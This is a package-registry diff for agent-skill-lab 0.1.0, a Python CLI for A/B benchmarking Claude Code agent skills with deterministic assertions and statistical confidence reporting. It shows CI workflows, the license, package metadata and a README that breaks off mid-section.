agent-skill-lab 0.1.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- agent_skill_lab-0.1.0/.gitattributes +1 -0
- agent_skill_lab-0.1.0/.github/workflows/ci.yml +27 -0
- agent_skill_lab-0.1.0/.github/workflows/release.yml +25 -0
- agent_skill_lab-0.1.0/.gitignore +21 -0
- agent_skill_lab-0.1.0/LICENSE +21 -0
- agent_skill_lab-0.1.0/PKG-INFO +278 -0
- agent_skill_lab-0.1.0/README.md +266 -0
- agent_skill_lab-0.1.0/SECURITY.md +40 -0
- agent_skill_lab-0.1.0/examples/ci/skill-eval.yml +65 -0
- agent_skill_lab-0.1.0/examples/error-handling/.agent-skill/history.jsonl +1 -0
- agent_skill_lab-0.1.0/examples/error-handling/SKILL.md +44 -0
- agent_skill_lab-0.1.0/examples/error-handling/evals/evals.yaml +13 -0
- agent_skill_lab-0.1.0/examples/error-handling/evals/fixtures/task-001/src/calc.py +9 -0
- agent_skill_lab-0.1.0/examples/error-handling/evals/fixtures/task-001/tests/test_calc.py +22 -0
- agent_skill_lab-0.1.0/examples/error-handling/evals/task-001.yaml +27 -0
- agent_skill_lab-0.1.0/examples/sql-parameterization/SKILL.md +38 -0
- agent_skill_lab-0.1.0/examples/sql-parameterization/evals/evals.yaml +14 -0
- agent_skill_lab-0.1.0/examples/sql-parameterization/evals/fixtures/task-001/src/db.py +18 -0
- agent_skill_lab-0.1.0/examples/sql-parameterization/evals/fixtures/task-001/tests/test_db.py +26 -0
- agent_skill_lab-0.1.0/examples/sql-parameterization/evals/task-001.yaml +32 -0
- agent_skill_lab-0.1.0/examples/type-hints/SKILL.md +42 -0
- agent_skill_lab-0.1.0/examples/type-hints/evals/evals.yaml +12 -0
- agent_skill_lab-0.1.0/examples/type-hints/evals/fixtures/task-001/src/report.py +5 -0
- agent_skill_lab-0.1.0/examples/type-hints/evals/fixtures/task-001/tests/test_report.py +14 -0
- agent_skill_lab-0.1.0/examples/type-hints/evals/task-001.yaml +31 -0
- agent_skill_lab-0.1.0/pyproject.toml +24 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/__init__.py +3 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/assertions.py +168 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/cli.py +216 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/config.py +258 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/reporter.py +194 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/runner.py +365 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/scaffold.py +107 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/scoring.py +253 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/storage.py +101 -0
- agent_skill_lab-0.1.0/src/agent_skill_lab/validator.py +215 -0
- agent_skill_lab-0.1.0/tests/test_assertions.py +106 -0
- agent_skill_lab-0.1.0/tests/test_integration.py +192 -0
- agent_skill_lab-0.1.0/tests/test_regressions.py +129 -0
- agent_skill_lab-0.1.0/tests/test_runner.py +95 -0
- agent_skill_lab-0.1.0/tests/test_scoring.py +104 -0
- agent_skill_lab-0.1.0/tests/test_validator.py +71 -0
|
@@ -0,0 +1 @@
|
|
|
1
|
+
* text=auto eol=lf
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
name: CI
|
|
2
|
+
|
|
3
|
+
on:
|
|
4
|
+
push:
|
|
5
|
+
branches: [main]
|
|
6
|
+
pull_request:
|
|
7
|
+
|
|
8
|
+
jobs:
|
|
9
|
+
test:
|
|
10
|
+
strategy:
|
|
11
|
+
fail-fast: false
|
|
12
|
+
matrix:
|
|
13
|
+
os: [ubuntu-latest, windows-latest, macos-latest]
|
|
14
|
+
python: ["3.10", "3.11", "3.12"]
|
|
15
|
+
runs-on: ${{ matrix.os }}
|
|
16
|
+
steps:
|
|
17
|
+
- uses: actions/checkout@v4
|
|
18
|
+
- uses: actions/setup-python@v5
|
|
19
|
+
with:
|
|
20
|
+
python-version: ${{ matrix.python }}
|
|
21
|
+
- name: Install
|
|
22
|
+
run: pip install -e ".[dev]"
|
|
23
|
+
- name: Test
|
|
24
|
+
# The suite is hermetic: it stubs the agent, so no ANTHROPIC_API_KEY or
|
|
25
|
+
# claude CLI is needed. This is the real cross-platform proof, Linux
|
|
26
|
+
# included, that the runner, assertions, and stats work everywhere.
|
|
27
|
+
run: python -m pytest -q
|
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
name: Release to PyPI
|
|
2
|
+
|
|
3
|
+
# Publishes on a version tag (e.g. v0.1.0). Uses PyPI Trusted Publishing
|
|
4
|
+
# (OIDC) — configure the publisher at pypi.org first; no token secret needed.
|
|
5
|
+
on:
|
|
6
|
+
push:
|
|
7
|
+
tags: ["v*"]
|
|
8
|
+
|
|
9
|
+
jobs:
|
|
10
|
+
build-and-publish:
|
|
11
|
+
runs-on: ubuntu-latest
|
|
12
|
+
environment: pypi
|
|
13
|
+
permissions:
|
|
14
|
+
id-token: write # for trusted publishing
|
|
15
|
+
steps:
|
|
16
|
+
- uses: actions/checkout@v4
|
|
17
|
+
- uses: actions/setup-python@v5
|
|
18
|
+
with:
|
|
19
|
+
python-version: "3.11"
|
|
20
|
+
- name: Build
|
|
21
|
+
run: |
|
|
22
|
+
pip install build
|
|
23
|
+
python -m build
|
|
24
|
+
- name: Publish
|
|
25
|
+
uses: pypa/gh-action-pypi-publish@release/v1
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
__pycache__/
|
|
2
|
+
*.py[cod]
|
|
3
|
+
*.egg-info/
|
|
4
|
+
build/
|
|
5
|
+
dist/
|
|
6
|
+
.pytest_cache/
|
|
7
|
+
.venv/
|
|
8
|
+
venv/
|
|
9
|
+
|
|
10
|
+
# Benchmark output lives inside each skill directory.
|
|
11
|
+
**/.agent-skill/runs/
|
|
12
|
+
|
|
13
|
+
# Third-party agent skills installed via `npx skills add` (e.g. strix).
|
|
14
|
+
.agents/
|
|
15
|
+
.claude/
|
|
16
|
+
|
|
17
|
+
# strix lockfile from npx skills add
|
|
18
|
+
skills-lock.json
|
|
19
|
+
|
|
20
|
+
# build artifacts
|
|
21
|
+
dist/
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
MIT License
|
|
2
|
+
|
|
3
|
+
Copyright (c) 2026 Elfan
|
|
4
|
+
|
|
5
|
+
Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
6
|
+
of this software and associated documentation files (the "Software"), to deal
|
|
7
|
+
in the Software without restriction, including without limitation the rights
|
|
8
|
+
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
9
|
+
copies of the Software, and to permit persons to whom the Software is
|
|
10
|
+
furnished to do so, subject to the following conditions:
|
|
11
|
+
|
|
12
|
+
The above copyright notice and this permission notice shall be included in all
|
|
13
|
+
copies or substantial portions of the Software.
|
|
14
|
+
|
|
15
|
+
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
16
|
+
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
17
|
+
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
18
|
+
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
19
|
+
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
20
|
+
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
|
21
|
+
SOFTWARE.
|
|
@@ -0,0 +1,278 @@
|
|
|
1
|
+
Metadata-Version: 2.5
|
|
2
|
+
Name: agent-skill-lab
|
|
3
|
+
Version: 0.1.0
|
|
4
|
+
Summary: Reproducible testing, benchmarking, and regression testing for Agent Skills.
|
|
5
|
+
License: MIT
|
|
6
|
+
License-File: LICENSE
|
|
7
|
+
Requires-Python: >=3.10
|
|
8
|
+
Requires-Dist: pyyaml>=6.0
|
|
9
|
+
Provides-Extra: dev
|
|
10
|
+
Requires-Dist: pytest>=7.0; extra == 'dev'
|
|
11
|
+
Description-Content-Type: text/markdown
|
|
12
|
+
|
|
13
|
+
# Agent Skill Lab
|
|
14
|
+
|
|
15
|
+
Reproducible A/B testing for Agent Skills.
|
|
16
|
+
|
|
17
|
+
A `SKILL.md` is a prompt you ship to other people. This tool answers the only
|
|
18
|
+
question that matters about one: **does it actually make the agent better, or
|
|
19
|
+
does it just feel like it does?**
|
|
20
|
+
|
|
21
|
+
It runs the same task twice — once with a baseline agent, once with the skill
|
|
22
|
+
installed — repeats that N times, checks the results with deterministic
|
|
23
|
+
assertions, and reports the difference with a confidence interval attached.
|
|
24
|
+
|
|
25
|
+
```
|
|
26
|
+
Without With
|
|
27
|
+
Task success 50% 100%
|
|
28
|
+
Assertion score 0.83 1.00
|
|
29
|
+
Tokens 8,700 7,100
|
|
30
|
+
Time 55s 41s
|
|
31
|
+
|
|
32
|
+
IMPACT (95% bootstrap CI on the delta)
|
|
33
|
+
|
|
34
|
+
Task success +50.0pp [+20.0, +80.0] p=0.033
|
|
35
|
+
~ Tokens -23.0% [-41.2%, +2.1%]
|
|
36
|
+
|
|
37
|
+
CONFIDENCE MEDIUM (N=5 per condition)
|
|
38
|
+
~ marks a delta not distinguishable from run-to-run noise.
|
|
39
|
+
|
|
40
|
+
PER TASK (success rate)
|
|
41
|
+
|
|
42
|
+
task-001 0% 100%
|
|
43
|
+
task-002 100% 100%
|
|
44
|
+
```
|
|
45
|
+
|
|
46
|
+
The per-task breakdown matters: an aggregate `+50pp` driven entirely by one
|
|
47
|
+
task is a different finding from one spread across all of them.
|
|
48
|
+
|
|
49
|
+
## Install
|
|
50
|
+
|
|
51
|
+
```bash
|
|
52
|
+
pip install agent-skill-lab
|
|
53
|
+
```
|
|
54
|
+
|
|
55
|
+
Or from a clone: `pip install -e .`
|
|
56
|
+
|
|
57
|
+
Requires Python 3.10+, `git`, and an authenticated [Claude Code](https://claude.com/claude-code)
|
|
58
|
+
CLI on `PATH`. Tested on Linux, macOS, and Windows (CI runs the suite on all
|
|
59
|
+
three across Python 3.10–3.12). Verify the agent side works before benchmarking
|
|
60
|
+
anything:
|
|
61
|
+
|
|
62
|
+
```bash
|
|
63
|
+
claude -p "reply with OK" --output-format json
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
If that returns `"Failed to authenticate"`, log in first — every run in this tool
|
|
67
|
+
shells out to that same command.
|
|
68
|
+
|
|
69
|
+
## Use
|
|
70
|
+
|
|
71
|
+
```bash
|
|
72
|
+
agent-skill init my-skill # scaffold SKILL.md + evals/
|
|
73
|
+
agent-skill validate my-skill # static checks, no tokens spent
|
|
74
|
+
agent-skill test my-skill # the A/B benchmark
|
|
75
|
+
agent-skill report my-skill # re-render the last run
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### 1. Validate
|
|
79
|
+
|
|
80
|
+
Runs before every benchmark, and refuses to spend tokens on a broken suite.
|
|
81
|
+
|
|
82
|
+
```
|
|
83
|
+
[ok] SKILL.md exists
|
|
84
|
+
[ok] valid YAML frontmatter
|
|
85
|
+
[ok] frontmatter has 'name'
|
|
86
|
+
[ok] frontmatter has 'description'
|
|
87
|
+
[ok] referenced files exist (2/2)
|
|
88
|
+
[ok] [task-001] prompt is customised, not the scaffold placeholder
|
|
89
|
+
[warn] model 'sonnet' is a pinned version (aliases drift between releases)
|
|
90
|
+
```
|
|
91
|
+
|
|
92
|
+
### 2. Write eval tasks
|
|
93
|
+
|
|
94
|
+
```yaml
|
|
95
|
+
id: task-001
|
|
96
|
+
name: Make calc errors typed
|
|
97
|
+
|
|
98
|
+
prompt: |
|
|
99
|
+
The test suite in tests/ fails. Fix src/calc.py so every test passes.
|
|
100
|
+
Do not modify anything under tests/.
|
|
101
|
+
|
|
102
|
+
fixture: fixtures/task-001
|
|
103
|
+
|
|
104
|
+
assertions:
|
|
105
|
+
- type: command # did it solve the task?
|
|
106
|
+
run: "python -m pytest -q"
|
|
107
|
+
expect_exit: 0
|
|
108
|
+
|
|
109
|
+
- type: file_contains # did it follow the convention the skill teaches?
|
|
110
|
+
path: src/calc.py
|
|
111
|
+
pattern: "raise CalcError\\([^)]*code="
|
|
112
|
+
|
|
113
|
+
- type: file_unchanged # anti-gaming: editing the tests does not count
|
|
114
|
+
path: tests/test_calc.py
|
|
115
|
+
```
|
|
116
|
+
|
|
117
|
+
Assertion types: `command`, `file_exists`, `file_absent`, `file_contains`,
|
|
118
|
+
`file_changed`, `file_unchanged`.
|
|
119
|
+
|
|
120
|
+
Before burning tokens, check two things — neither spends a cent:
|
|
121
|
+
|
|
122
|
+
```bash
|
|
123
|
+
agent-skill test my-skill --dry-run # can the suite even measure work?
|
|
124
|
+
agent-skill test my-skill --estimate # what will a real run cost?
|
|
125
|
+
```
|
|
126
|
+
|
|
127
|
+
`--dry-run` runs the assertions against the untouched fixture. Anything that
|
|
128
|
+
passes there is flagged `[TRIVIAL]` — it would pass even if the agent did
|
|
129
|
+
nothing. (Assertions that check for the *absence* of something — `file_absent`,
|
|
130
|
+
`file_unchanged`, or a `file_contains` with `expect: false` — are guards, and
|
|
131
|
+
correctly pass on the pristine fixture.)
|
|
132
|
+
|
|
133
|
+
`--estimate` projects cost and wall time as a range. With no history it is a
|
|
134
|
+
coarse prior; after one real run it uses your own recorded per-run cost. A real
|
|
135
|
+
`test` prints the estimate first, then runs.
|
|
136
|
+
|
|
137
|
+
### 3. Benchmark
|
|
138
|
+
|
|
139
|
+
```bash
|
|
140
|
+
agent-skill test my-skill -n 10
|
|
141
|
+
```
|
|
142
|
+
|
|
143
|
+
## How it works
|
|
144
|
+
|
|
145
|
+
Per run:
|
|
146
|
+
|
|
147
|
+
1. The task fixture is copied into a throwaway temp directory.
|
|
148
|
+
2. That directory is `git init`-ed and committed, which is what makes
|
|
149
|
+
`file_changed` / `file_unchanged` assertions possible.
|
|
150
|
+
3. In the **with-skill** condition only, the skill is copied to
|
|
151
|
+
`.claude/skills/<name>/` inside that workspace. The `evals/` directory is
|
|
152
|
+
excluded — leaking it would hand the agent its own grading criteria.
|
|
153
|
+
4. `claude -p "<prompt>" --output-format json` runs with the workspace as cwd,
|
|
154
|
+
with `--setting-sources project`. (Note: in practice this does not fully hide
|
|
155
|
+
your personal `~/.claude` skills — see "Known gap" above. They appear in both
|
|
156
|
+
conditions, so the delta stays attributable to the skill under test.)
|
|
157
|
+
5. Assertions run against the resulting workspace; tokens, cost and wall time
|
|
158
|
+
come from the agent's own JSON result.
|
|
159
|
+
6. The workspace is deleted (`--keep-workspace` to inspect it).
|
|
160
|
+
|
|
161
|
+
Results land in `<skill>/.agent-skill/runs/*.json`, with one summary line per
|
|
162
|
+
invocation appended to `<skill>/.agent-skill/history.jsonl`.
|
|
163
|
+
|
|
164
|
+
## Design decisions worth knowing
|
|
165
|
+
|
|
166
|
+
**No LLM judge.** Scoring is deterministic: assertions pass or they don't. An
|
|
167
|
+
LLM grader adds a second noisy component on top of an already noisy agent, and
|
|
168
|
+
you can no longer tell which one moved. Quality rubrics are a later addition,
|
|
169
|
+
not the foundation.
|
|
170
|
+
|
|
171
|
+
**Every delta carries an uncertainty estimate.** Agent runs are
|
|
172
|
+
non-deterministic; the same prompt gives different token counts and sometimes
|
|
173
|
+
different outcomes. A single number invites false regression alarms. Anything
|
|
174
|
+
not separable from noise is printed with `~` and called inconclusive.
|
|
175
|
+
|
|
176
|
+
**Task success is judged by Fisher's exact test, not by the bootstrap.** This
|
|
177
|
+
was not the original design — it was forced by testing the tool against a
|
|
178
|
+
deliberately noisy stub agent with a weak 60%-vs-50% effect. The percentile
|
|
179
|
+
bootstrap called that a *conclusive regression* on the first attempt: five
|
|
180
|
+
Bernoulli samples per condition is exactly the regime where it is
|
|
181
|
+
anti-conservative. Fisher's exact test on the 2×2 outcome table has no such
|
|
182
|
+
problem at small N, and still detects a real effect at N=5 (0/5 vs 5/5 gives
|
|
183
|
+
p=0.008). Continuous metrics keep the bootstrap interval, at 95% to match the
|
|
184
|
+
same 0.05 threshold.
|
|
185
|
+
|
|
186
|
+
**Secondary metrics are not corrected for multiple comparisons.** Five metrics
|
|
187
|
+
per report at a 5% threshold means roughly one report in seven contains a
|
|
188
|
+
secondary claim that is not real. The report says so out loud when it makes one
|
|
189
|
+
below N=10, rather than letting you believe all five numbers equally.
|
|
190
|
+
|
|
191
|
+
**Confidence is labelled by sample size.** N<5 is `LOW` and says so in the
|
|
192
|
+
verdict. The tool will not pretend five runs are evidence — at N=1 it reports
|
|
193
|
+
the observed delta and then explicitly refuses to conclude from it.
|
|
194
|
+
|
|
195
|
+
**Pin your model.** `model: sonnet` is an alias that moves between releases. A
|
|
196
|
+
comparison against a run from last month is meaningless if the model changed
|
|
197
|
+
underneath it. `validate` warns about this.
|
|
198
|
+
|
|
199
|
+
**The baseline carries Claude Code's bundled skills.** They appear in both
|
|
200
|
+
conditions, so the delta stays attributable to the skill under test, and they
|
|
201
|
+
are identical across installs of the same version. `isolation: bare` removes
|
|
202
|
+
them for a clean-room baseline (needs `ANTHROPIC_API_KEY`).
|
|
203
|
+
|
|
204
|
+
**This is decision support, not an oracle.** `--strict` exists for CI, but
|
|
205
|
+
consider making the CI job a warning rather than a hard block, and gate it on
|
|
206
|
+
`SKILL.md` actually having changed — every invocation spends real tokens.
|
|
207
|
+
`N tasks × N repeats × 2 conditions` agent runs is not free the way a unit test
|
|
208
|
+
is free.
|
|
209
|
+
|
|
210
|
+
## Examples
|
|
211
|
+
|
|
212
|
+
Three complete, runnable skills live in `examples/`, each mixing a "did it
|
|
213
|
+
work" command assertion with a "did it the right way" content assertion:
|
|
214
|
+
|
|
215
|
+
| Skill | Domain | The convention it checks |
|
|
216
|
+
|---|---|---|
|
|
217
|
+
| `error-handling` | code style | raises carry a machine-readable `code=` |
|
|
218
|
+
| `sql-parameterization` | security | queries use placeholders, never f-strings |
|
|
219
|
+
| `type-hints` | typing | functions get annotated params + return type |
|
|
220
|
+
|
|
221
|
+
```bash
|
|
222
|
+
agent-skill validate examples/sql-parameterization
|
|
223
|
+
agent-skill test examples/sql-parameterization --dry-run
|
|
224
|
+
agent-skill test examples/sql-parameterization --estimate
|
|
225
|
+
agent-skill test examples/sql-parameterization -n 5
|
|
226
|
+
```
|
|
227
|
+
|
|
228
|
+
Each is built so the difference is visible: a baseline agent usually makes the
|
|
229
|
+
tests pass, but only the skilled agent reliably follows the convention. "Tests
|
|
230
|
+
pass" and "did it the right way" are different questions — which is exactly why
|
|
231
|
+
a single assertion is not enough.
|
|
232
|
+
|
|
233
|
+
## CI
|
|
234
|
+
|
|
235
|
+
`examples/ci/skill-eval.yml` is a GitHub Actions template. It triggers only when
|
|
236
|
+
`SKILL.md` or `evals/` changed, and posts the report as a PR comment instead of
|
|
237
|
+
failing the build.
|
|
238
|
+
|
|
239
|
+
## Validated against a live agent
|
|
240
|
+
|
|
241
|
+
Run end-to-end against the real `claude` CLI, not just a stub. Two things the
|
|
242
|
+
example run demonstrated, both worth internalising before you trust any number:
|
|
243
|
+
|
|
244
|
+
- **A lucky small sample lies, and the tool catches it.** At N=3 the example
|
|
245
|
+
skill scored a clean 3/3 vs 0/3 — an apparent +100pp. At N=5 the same skill,
|
|
246
|
+
same prompt, scored 1/5 (+20pp, p=1.000). The effect is real but weak and
|
|
247
|
+
inconsistent; three runs happened to catch a good streak. A tool that reports
|
|
248
|
+
one number would have published "+100% success". This one reported "not
|
|
249
|
+
distinguishable from noise" and asked for more runs. That is the whole point.
|
|
250
|
+
|
|
251
|
+
- **Availability is not invocation.** A skill in `.claude/skills/` is *discovered*
|
|
252
|
+
by the agent but only *used* when its description matches the task. The prompt
|
|
253
|
+
"make the tests pass" did not trigger an error-handling skill; "add proper
|
|
254
|
+
error handling following this project's conventions" did. Your eval prompt is
|
|
255
|
+
a real variable — the same skill looks useless or useful depending on it.
|
|
256
|
+
|
|
257
|
+
Baseline isolation, found in the same run: the headless agent always sees the
|
|
258
|
+
skills that ship with Claude Code (design, code-review, …). They are **not** your
|
|
259
|
+
personal `~/.claude` skills — they are bundled with the install, so they are the
|
|
260
|
+
same for anyone on the same Claude Code version, and they appear in *both*
|
|
261
|
+
conditions, cancelling out of the delta. For a true clean-room baseline set
|
|
262
|
+
`isolation: bare` in `evals.yaml` (runs the agent with `--bare`); it needs
|
|
263
|
+
`ANTHROPIC_API_KEY`, since bare mode never reads your OAuth login. The default
|
|
264
|
+
keeps the bundled skills and works with OAuth.
|
|
265
|
+
|
|
266
|
+
## Status
|
|
267
|
+
|
|
268
|
+
MVP, Claude Code only: `init`, `validate`, `test` (with `--dry-run`,
|
|
269
|
+
`--estimate`, `--strict`), `report`. Tested on Linux/macOS/Windows across
|
|
270
|
+
Python 3.10–3.12; the test suite stubs the agent, so CI needs no API key.
|
|
271
|
+
|
|
272
|
+
Deliberately not built yet: LLM-as-judge quality scoring, a `regression`
|
|
273
|
+
command (the history file it needs is already being written), cross-agent
|
|
274
|
+
`benchmark`, and `audit` for skill security.
|
|
275
|
+
|
|
276
|
+
## License
|
|
277
|
+
|
|
278
|
+
MIT
|
|
@@ -0,0 +1,266 @@
|
|
|
1
|
+
# Agent Skill Lab
|
|
2
|
+
|
|
3
|
+
Reproducible A/B testing for Agent Skills.
|
|
4
|
+
|
|
5
|
+
A `SKILL.md` is a prompt you ship to other people. This tool answers the only
|
|
6
|
+
question that matters about one: **does it actually make the agent better, or
|
|
7
|
+
does it just feel like it does?**
|
|
8
|
+
|
|
9
|
+
It runs the same task twice — once with a baseline agent, once with the skill
|
|
10
|
+
installed — repeats that N times, checks the results with deterministic
|
|
11
|
+
assertions, and reports the difference with a confidence interval attached.
|
|
12
|
+
|
|
13
|
+
```
|
|
14
|
+
Without With
|
|
15
|
+
Task success 50% 100%
|
|
16
|
+
Assertion score 0.83 1.00
|
|
17
|
+
Tokens 8,700 7,100
|
|
18
|
+
Time 55s 41s
|
|
19
|
+
|
|
20
|
+
IMPACT (95% bootstrap CI on the delta)
|
|
21
|
+
|
|
22
|
+
Task success +50.0pp [+20.0, +80.0] p=0.033
|
|
23
|
+
~ Tokens -23.0% [-41.2%, +2.1%]
|
|
24
|
+
|
|
25
|
+
CONFIDENCE MEDIUM (N=5 per condition)
|
|
26
|
+
~ marks a delta not distinguishable from run-to-run noise.
|
|
27
|
+
|
|
28
|
+
PER TASK (success rate)
|
|
29
|
+
|
|
30
|
+
task-001 0% 100%
|
|
31
|
+
task-002 100% 100%
|
|
32
|
+
```
|
|
33
|
+
|
|
34
|
+
The per-task breakdown matters: an aggregate `+50pp` driven entirely by one
|
|
35
|
+
task is a different finding from one spread across all of them.
|
|
36
|
+
|
|
37
|
+
## Install
|
|
38
|
+
|
|
39
|
+
```bash
|
|
40
|
+
pip install agent-skill-lab
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
Or from a clone: `pip install -e .`
|
|
44
|
+
|
|
45
|
+
Requires Python 3.10+, `git`, and an authenticated [Claude Code](https://claude.com/claude-code)
|
|
46
|
+
CLI on `PATH`. Tested on Linux, macOS, and Windows (CI runs the suite on all
|
|
47
|
+
three across Python 3.10–3.12). Verify the agent side works before benchmarking
|
|
48
|
+
anything:
|
|
49
|
+
|
|
50
|
+
```bash
|
|
51
|
+
claude -p "reply with OK" --output-format json
|
|
52
|
+
```
|
|
53
|
+
|
|
54
|
+
If that returns `"Failed to authenticate"`, log in first — every run in this tool
|
|
55
|
+
shells out to that same command.
|
|
56
|
+
|
|
57
|
+
## Use
|
|
58
|
+
|
|
59
|
+
```bash
|
|
60
|
+
agent-skill init my-skill # scaffold SKILL.md + evals/
|
|
61
|
+
agent-skill validate my-skill # static checks, no tokens spent
|
|
62
|
+
agent-skill test my-skill # the A/B benchmark
|
|
63
|
+
agent-skill report my-skill # re-render the last run
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### 1. Validate
|
|
67
|
+
|
|
68
|
+
Runs before every benchmark, and refuses to spend tokens on a broken suite.
|
|
69
|
+
|
|
70
|
+
```
|
|
71
|
+
[ok] SKILL.md exists
|
|
72
|
+
[ok] valid YAML frontmatter
|
|
73
|
+
[ok] frontmatter has 'name'
|
|
74
|
+
[ok] frontmatter has 'description'
|
|
75
|
+
[ok] referenced files exist (2/2)
|
|
76
|
+
[ok] [task-001] prompt is customised, not the scaffold placeholder
|
|
77
|
+
[warn] model 'sonnet' is a pinned version (aliases drift between releases)
|
|
78
|
+
```
|
|
79
|
+
|
|
80
|
+
### 2. Write eval tasks
|
|
81
|
+
|
|
82
|
+
```yaml
|
|
83
|
+
id: task-001
|
|
84
|
+
name: Make calc errors typed
|
|
85
|
+
|
|
86
|
+
prompt: |
|
|
87
|
+
The test suite in tests/ fails. Fix src/calc.py so every test passes.
|
|
88
|
+
Do not modify anything under tests/.
|
|
89
|
+
|
|
90
|
+
fixture: fixtures/task-001
|
|
91
|
+
|
|
92
|
+
assertions:
|
|
93
|
+
- type: command # did it solve the task?
|
|
94
|
+
run: "python -m pytest -q"
|
|
95
|
+
expect_exit: 0
|
|
96
|
+
|
|
97
|
+
- type: file_contains # did it follow the convention the skill teaches?
|
|
98
|
+
path: src/calc.py
|
|
99
|
+
pattern: "raise CalcError\\([^)]*code="
|
|
100
|
+
|
|
101
|
+
- type: file_unchanged # anti-gaming: editing the tests does not count
|
|
102
|
+
path: tests/test_calc.py
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
Assertion types: `command`, `file_exists`, `file_absent`, `file_contains`,
|
|
106
|
+
`file_changed`, `file_unchanged`.
|
|
107
|
+
|
|
108
|
+
Before burning tokens, check two things — neither spends a cent:
|
|
109
|
+
|
|
110
|
+
```bash
|
|
111
|
+
agent-skill test my-skill --dry-run # can the suite even measure work?
|
|
112
|
+
agent-skill test my-skill --estimate # what will a real run cost?
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
`--dry-run` runs the assertions against the untouched fixture. Anything that
|
|
116
|
+
passes there is flagged `[TRIVIAL]` — it would pass even if the agent did
|
|
117
|
+
nothing. (Assertions that check for the *absence* of something — `file_absent`,
|
|
118
|
+
`file_unchanged`, or a `file_contains` with `expect: false` — are guards, and
|
|
119
|
+
correctly pass on the pristine fixture.)
|
|
120
|
+
|
|
121
|
+
`--estimate` projects cost and wall time as a range. With no history it is a
|
|
122
|
+
coarse prior; after one real run it uses your own recorded per-run cost. A real
|
|
123
|
+
`test` prints the estimate first, then runs.
|
|
124
|
+
|
|
125
|
+
### 3. Benchmark
|
|
126
|
+
|
|
127
|
+
```bash
|
|
128
|
+
agent-skill test my-skill -n 10
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
## How it works
|
|
132
|
+
|
|
133
|
+
Per run:
|
|
134
|
+
|
|
135
|
+
1. The task fixture is copied into a throwaway temp directory.
|
|
136
|
+
2. That directory is `git init`-ed and committed, which is what makes
|
|
137
|
+
`file_changed` / `file_unchanged` assertions possible.
|
|
138
|
+
3. In the **with-skill** condition only, the skill is copied to
|
|
139
|
+
`.claude/skills/<name>/` inside that workspace. The `evals/` directory is
|
|
140
|
+
excluded — leaking it would hand the agent its own grading criteria.
|
|
141
|
+
4. `claude -p "<prompt>" --output-format json` runs with the workspace as cwd,
|
|
142
|
+
with `--setting-sources project`. (Note: in practice this does not fully hide
|
|
143
|
+
your personal `~/.claude` skills — see "Known gap" above. They appear in both
|
|
144
|
+
conditions, so the delta stays attributable to the skill under test.)
|
|
145
|
+
5. Assertions run against the resulting workspace; tokens, cost and wall time
|
|
146
|
+
come from the agent's own JSON result.
|
|
147
|
+
6. The workspace is deleted (`--keep-workspace` to inspect it).
|
|
148
|
+
|
|
149
|
+
Results land in `<skill>/.agent-skill/runs/*.json`, with one summary line per
|
|
150
|
+
invocation appended to `<skill>/.agent-skill/history.jsonl`.
|
|
151
|
+
|
|
152
|
+
## Design decisions worth knowing
|
|
153
|
+
|
|
154
|
+
**No LLM judge.** Scoring is deterministic: assertions pass or they don't. An
|
|
155
|
+
LLM grader adds a second noisy component on top of an already noisy agent, and
|
|
156
|
+
you can no longer tell which one moved. Quality rubrics are a later addition,
|
|
157
|
+
not the foundation.
|
|
158
|
+
|
|
159
|
+
**Every delta carries an uncertainty estimate.** Agent runs are
|
|
160
|
+
non-deterministic; the same prompt gives different token counts and sometimes
|
|
161
|
+
different outcomes. A single number invites false regression alarms. Anything
|
|
162
|
+
not separable from noise is printed with `~` and called inconclusive.
|
|
163
|
+
|
|
164
|
+
**Task success is judged by Fisher's exact test, not by the bootstrap.** This
|
|
165
|
+
was not the original design — it was forced by testing the tool against a
|
|
166
|
+
deliberately noisy stub agent with a weak 60%-vs-50% effect. The percentile
|
|
167
|
+
bootstrap called that a *conclusive regression* on the first attempt: five
|
|
168
|
+
Bernoulli samples per condition is exactly the regime where it is
|
|
169
|
+
anti-conservative. Fisher's exact test on the 2×2 outcome table has no such
|
|
170
|
+
problem at small N, and still detects a real effect at N=5 (0/5 vs 5/5 gives
|
|
171
|
+
p=0.008). Continuous metrics keep the bootstrap interval, at 95% to match the
|
|
172
|
+
same 0.05 threshold.
|
|
173
|
+
|
|
174
|
+
**Secondary metrics are not corrected for multiple comparisons.** Five metrics
|
|
175
|
+
per report at a 5% threshold means roughly one report in seven contains a
|
|
176
|
+
secondary claim that is not real. The report says so out loud when it makes one
|
|
177
|
+
below N=10, rather than letting you believe all five numbers equally.
|
|
178
|
+
|
|
179
|
+
**Confidence is labelled by sample size.** N<5 is `LOW` and says so in the
|
|
180
|
+
